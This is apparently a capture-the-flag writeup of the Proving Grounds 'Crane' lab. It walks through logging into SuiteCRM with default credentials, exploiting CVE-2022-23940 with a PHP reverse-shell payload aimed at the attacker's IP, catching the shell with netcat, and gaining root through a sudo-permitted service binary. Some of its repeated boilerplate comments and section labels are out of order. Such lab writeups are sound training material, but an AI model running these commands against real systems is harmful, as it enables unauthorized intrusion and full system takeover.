Proving Grounds: Crane

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

In this lab, we will perform enumeration to identify potential vulnerabilities. We will conduct web enumeration and exploit CVE-2022-23940 to gain an initial foothold. Privilege escalation will be achieved by abusing sudo permissions. This lab teaches techniques for vulnerability exploitation and privilege escalation.

Scenario

This lab demonstrates exploiting SuiteCRM default credentials and the CVE-2022-23940 Remote Code Execution (RCE) vulnerability to achieve an initial shell as www-data. Privilege escalation is performed by abusing a sudo misconfiguration that allows the service binary to be executed with root privileges. Learners bypass restrictions and spawn a root shell. This lab highlights web application exploitation, RCE chaining, and misconfigured sudo permissions for root access.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate services to identify the SuiteCRM instance running on the web server.
Log in using default credentials (admin:admin) and verify SuiteCRM version compatibility with CVE-2022-23940.
Use the provided exploit to gain RCE and establish a reverse shell as www-data.
Enumerate sudo permissions and identify the vulnerable service binary.
Exploit the service binary with ../../../../../bin/bash to escalate privileges and gain root access.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@crane:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@crane:/var/www/html$

https://gtfobins.org/gtfobins/service/

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.38 (Debian)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx  MySQL X protocol listener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Site on port 80 redirects to http://192.168.176.146/index.php?action=Login&module=Users
Trying default credentials admin:admin logs us in
Searching online we found https://github.com/manuelz120/CVE-2022-23940

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/crane/CVE-2022-23940]
# Execute the next evidence-gathering step in the authorized lab.

└─$ ./exploit.py -h http://192.168.176.146 -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.205\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"


INFO:CVE-2022-23940:Login did work - Trying to create scheduled report

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

─(kali㉿kali)-[~/offsec/crane]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.176.146] 59802
/bin/sh: 0: can\'t access tty; job control turned off
# Run the helper or analysis script used in this lab step.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

www-data@crane:/home$ sudo -l
# Identify commands that can run with elevated privileges.

sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

www-data@crane:/home$ sudo /usr/sbin/service
# Execute the next evidence-gathering step in the authorized lab.

sudo /usr/sbin/service
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

www-data@crane:/home$ sudo /usr/sbin/service --status-all
# Execute the next evidence-gathering step in the authorized lab.

sudo /usr/sbin/service --status-all
 [ - ]  apache-htcacheclean
 [ + ]  apache2
 [ + ]  apparmor
 [ - ]  console-setup.sh
 [ + ]  cron
 [ + ]  dbus
 [ - ]  hwclock.sh
 [ - ]  keyboard-setup.sh
 [ + ]  kmod
 [ + ]  networking
 [ + ]  open-vm-tools
 [ + ]  procps
 [ + ]  rsyslog
 [ + ]  ssh
 [ - ]  sudo
 [ + ]  udev
 [ + ]  unattended-upgrades

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

www-data@crane:/home$ sudo service ../../../../bin/bash
# Execute the next evidence-gathering step in the authorized lab.

sudo service ../../../../bin/bash
root@crane:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@crane:/#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.